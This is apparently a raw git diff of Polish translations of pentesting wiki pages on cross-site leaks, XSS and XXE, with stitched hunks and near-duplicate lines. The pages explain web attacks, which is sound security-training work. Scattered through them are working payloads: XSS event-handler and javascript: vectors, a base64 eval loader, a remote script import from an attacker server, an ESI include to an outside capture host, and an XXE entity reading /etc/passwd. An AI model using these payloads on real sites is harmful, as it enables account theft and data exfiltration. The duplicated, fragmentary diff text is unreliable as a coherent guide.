Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie może być wykorzystywane do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik wykrywania tego zachowania pobierania:
1. **Monitorowanie paska pobierania**:
- Gdy plik jest pobierany w przeglądarkach opartych na Chromium, pasek pobierania pojawia się na dole okna przeglądarki.
- Monitorując zmiany w wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobieranie zostało zainicjowane.
2. **Nawigacja pobierania za pomocą iframe**:
2. **Nawigacja pobierania z iframe**:
- Gdy strona wyzwala pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
- Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy rozkład treści powoduje pobieranie pliku (brak nawigacji) czy nie.
3. **Nawigacja pobierania bez iframe**:
- Podobnie jak w technice iframe, ta metoda polega na użyciu `window.open` zamiast iframe.
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy pobieranie pliku zostało wyzwolone (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy wyzwolono pobieranie pliku (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).
W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie pobierania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.
@ -769,10 +769,10 @@ W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie
> Dlatego ta technika jest interesująca: Chrome ma teraz **podział pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być dzielona. Możesz znaleźć więcej szczegółów tutaj: [Zyskiwanie bezpieczeństwa i prywatności przez podział pamięci podręcznej](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Komentarz z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z _eTLD+1_ na najwyższym poziomie i _eTLD+1_ ramki.
Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z najwyższego _eTLD+1_ i ramki _eTLD+1_.
Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zbuforowany.\
Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki to zajmuje**.
Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób był w pamięci podręcznej.\
Można również **wysłać jakieś fetch do potencjalnie pamięci podręcznej strony i zmierzyć czas, jaki zajmuje**.
### Ręczne przekierowanie <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -789,10 +789,10 @@ Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu, a następnie przerwanie ładowania przed jego załadowaniem. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zbuforowany.
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu, a przed jego załadowaniem ładowanie jest przerywane. W zależności od tego, czy wystąpił błąd, zasób był lub nie był w pamięci podręcznej.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zbuforowany** oraz aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest w pamięci podręcznej** i aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez pamięci podręcznej nowej zawartości.
### Zanieczyszczenie skryptu
@ -812,15 +812,15 @@ Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **z
W danym scenariuszu atakujący podejmuje inicjatywę, aby zarejestrować **pracownika serwisowego** w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje **pracownika serwisowego**, aby rozpoczął timer. Gdy nowe okno zaczyna się ładować, atakujący nawigują odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez **pracownika serwisowego**.
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak zawartości)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak treści)**, skutecznie przerywając proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
### Czas pobierania
### Czas fetch
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
@ -828,7 +828,7 @@ Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy*
### Czas między oknami
- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania za pomocą `window.open`. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
@ -838,7 +838,7 @@ Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy*
Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła **poprzez wstrzykiwanie treści HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.
### Zawieszone znaczniki
### Wiszący znacznik
{{#ref}}
../dangling-markup-html-scriptless-injection/
@ -846,10 +846,10 @@ Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła **popr
### Ładowanie obrazów leniwie
Jeśli musisz **wykradać treści** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki zawieszonych znaczników**.\
Jeśli musisz **wykradać treści** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki wiszącego znacznika**.\
Jednak jeśli z jakiegokolwiek powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się przez trafienie w pamięci podręcznej), możesz użyć tego triku.
**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie widoczny, a nie podczas ładowania strony:
**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie wyświetlany, a nie podczas ładowania strony:
```html
<img src=/something loading=lazy >
```
@ -860,19 +860,19 @@ Inną opcją byłoby użycie **scroll-to-text-fragment**, jeśli jest to dozwolo
#### Scroll-to-text-fragment
Jednak musisz **sprawić, aby bot uzyskał dostęp do strony** z czymś takim jak
Jednak musisz **sprawić, by bot uzyskał dostęp do strony** z czymś takim jak
```
#:~:text=SECR
```
Strona internetowa będzie wyglądać mniej więcej tak: **`https://victim.com/post.html#:~:text=SECR`**
Gdzie post.html zawiera niechciane znaki atakującego i obrazek ładowany leniwie, a następnie dodawany jest sekret bota.
Gdzie post.html zawiera nieczytelne znaki atakującego i obrazek ładowany leniwie, a następnie dodawany jest sekret bota.
Tekst ten spowoduje, że bot uzyska dostęp do wszelkiego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst jest sekretem i znajduje się **tuż poniżej obrazu**, **obraz załaduje się tylko wtedy, gdy odgadnięty sekret jest poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.
Tekst ten spowoduje, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst jest sekretem i znajduje się **tuż poniżej obrazu**, **obraz załadowany zostanie tylko wtedy, gdy odgadnięty sekret będzie poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.
Przykład kodu do wykorzystania tego: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Czas ładowania obrazów leniwie
### Ładowanie obrazów na podstawie czasu
Jeśli **nie ma możliwości załadowania zewnętrznego obrazu**, co mogłoby wskazywać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie **odgadnięcia znaku kilka razy i zmierzenie tego**. Jeśli obraz jest załadowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest załadowany. To zostało wykorzystane w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **podsumowanym tutaj:**
@ -894,17 +894,17 @@ $(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
```
### Wstrzykiwanie CSS
### CSS Injection
{{#ref}}
css-injection/
{{#endref}}
## Ochrona
## Defenses
Zalecane są środki zaradcze opisane w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Sprawdź tam więcej informacji na temat ochrony przed tymi technikami.
Zaleca się stosowanie środków zaradczych opisanych w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Sprawdź tam więcej informacji na temat ochrony przed tymi technikami.
## Odnośniki
## References
- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
- [https://xsleaks.dev/](https://xsleaks.dev)

View File

@ -56,7 +56,7 @@ Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu ta
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **stworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), wówczas w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
4. Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebować jakiegoś rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, aby można było wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, aby móc wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
**Sprawdź następującą stronę po więcej informacji:**
{{#ref}}
@ -116,7 +116,7 @@ Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `o
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej akcji.
Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano exploitację **Same Origin Method Execution (SOME)**:
Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
{{#ref}}
some-same-origin-method-execution.md
@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\*\*\***\***\*`-->`\*\***\***\*lub \*\*\*\*\*\***`--!>`\*\*_
_**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\*_
W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
```html
@ -176,7 +176,7 @@ Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **utworz
```
### Blacklist Bypasses
Jeśli używana jest jakaś forma czarnej listy, możesz spróbować ją obejść za pomocą kilku prostych sztuczek:
Jeśli używana jest jakaś forma czarnej listy, możesz spróbować ją obejść za pomocą kilku głupich sztuczek:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -267,10 +267,10 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
```
### W obrębie atrybutu
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest używany do odzwierciedlenia twojej wartości **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** odzwierciedla twoją wartość **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/URL**
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
**Znaki zakodowane w HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniżej będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Wróć </a>`
@ -347,7 +347,7 @@  A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Inne sztuczki obfuskacji**
_**W tym przypadku kodowanie HTML i trik z kodowaniem Unicode z poprzedniej sekcji również ważne, ponieważ znajdujesz się wewnątrz atrybutu.**_
_**W tym przypadku kodowanie HTML i trik z kodowaniem Unicode z poprzedniej sekcji również ważne, ponieważ znajdujesz się wewnątrz atrybutu.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -357,7 +357,7 @@ Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **ładunek**, to **nie zadziała**, ale możesz **zmieszać je w ładunku**.
Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **ładunek**, to **nie zadziała**, ale możesz **zmieszać je wewnątrz ładunku**.
**Używanie kodowania Hex i Octal z `javascript:`**
@ -377,13 +377,13 @@ Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (prz
```javascript
<a target="_blank" rel="opener"
```
Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zawiera atrybuty **`target="_blank" i rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zawiera atrybuty **`target="_blank"` i `rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### o Ominięciu Obsługi Zdarzeń
### O obejściu obsługi zdarzeń
Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" obsług zdarzeń**.\
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca ci tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:
@ -450,7 +450,7 @@ Przeczytaj [czarną listę ominięć JavaScript z następnej sekcji](#javascript
Jeśli znalazłeś **XSS w bardzo małej części** strony, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zwiększyć prawdopodobieństwo uruchomienia linku.
Na przykład, możesz dodać styl do elementu, taki jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Na przykład, możesz dodać jakieś style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Jednak, jeśli WAF filtruje atrybut stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład
@ -480,7 +480,7 @@ Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysło
### Wewnątrz kodu JS
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój input, i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój **input** i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Nowe linie w JavaScript (z** [**sztuczki nowe linie w JavaScript**](#javascript-new-lines) **)**
**Nowe linie JavaScript (z** [**sztuczki nowe linie JavaScript**](#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -767,15 +767,15 @@ Może się zdarzyć, że użytkownik może podzielić się swoim profilem z admi
### Odbicie sesji
Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł Ci pomóc, będzie widział to, co Ty widzisz w swojej sesji, ale z jego sesji.
Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł ci pomóc, będzie widział to, co ty widzisz w swojej sesji, ale z jego sesji.
Możesz sprawić, że **administrator wywoła Twoje self XSS** i ukraść jego ciasteczka/sesję.
Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego ciasteczka/sesję.
## Inne Obejścia
### Normalizowany Unicode
Możesz sprawdzić, czy **odzwierciedlone wartości****normalizowane w Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/index.html#xss-cross-site-scripting).
Możesz sprawdzić, czy **odzwierciedlone wartości****normalizowane unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/index.html#xss-cross-site-scripting).
### Obejście flagi PHP FILTER_VALIDATE_EMAIL
```javascript
@ -783,7 +783,7 @@ Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane w Unic
```
### Ruby-On-Rails bypass
Z powodu **RoR mass assignment** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\
Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -833,7 +833,7 @@ Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty na
### Tylko litery, cyfry i kropki
Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczony do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
### Ważne `<script>` Typy zawartości do XSS
@ -917,7 +917,7 @@ To zachowanie zostało wykorzystane w [**tym opisie**](https://github.com/zwade/
```
### Typy zawartości sieciowej do XSS
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
- text/html
- application/xhtml+xml
@ -1360,7 +1360,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują na brak odpowiedzi._
Przejrzyj listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Sprawdź listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Okno do wprowadzenia danych uwierzytelniających
```html
@ -1496,7 +1496,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Dostęp do ukrytej zawartości
### Regex - Uzyskiwanie Ukrytej Zawartości
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX wciąż można znaleźć po usunięciu wartości wejścia regex:
```javascript
@ -1533,7 +1533,7 @@ xss-in-markdown.md
### XSS do SSRF
Masz XSS na **stronie, która używa cache**? Spróbuj **zaktualizować to do SSRF** poprzez Edge Side Include Injection z tym ładunkiem:
Masz XSS na **stronie, która używa cache**? Spróbuj **zaktualizować to do SSRF** poprzez wstrzyknięcie Edge Side Include z tym ładunkiem:
```python
<esi:include src="http://yoursite.com/capture" />
```

View File

@ -6,11 +6,11 @@
XML to język znaczników zaprojektowany do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych znaczników. Różni się od HTML tym, że nie jest ograniczony do zestawu zdefiniowanych znaczników. Znaczenie XML spadło wraz z rosnącą popularnością JSON, mimo jego początkowej roli w technologii AJAX.
- **Reprezentacja danych za pomocą encji**: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych, takich jak `&lt;` i `&gt;`, które odpowiadają `<` i `>` w celu uniknięcia konfliktu z systemem znaczników XML.
- **Reprezentacja danych przez encje**: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych, takich jak `&lt;` i `&gt;`, które odpowiadają `<` i `>` w celu uniknięcia konfliktu z systemem znaczników XML.
- **Definiowanie elementów XML**: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne.
- **Definicja typu dokumentu (DTD)**: DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane.
- **Własne i zewnętrzne encje**: XML wspiera tworzenie własnych encji w ramach DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Wykrywanie XXE za pomocą encji parametru**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametru XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub żądań HTTP do kontrolowanej domeny, aby potwierdzić podatność.
- **Wykrywanie XXE za pomocą encji parametrów**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametrów XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub żądań HTTP do kontrolowanej domeny, aby potwierdzić podatność.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
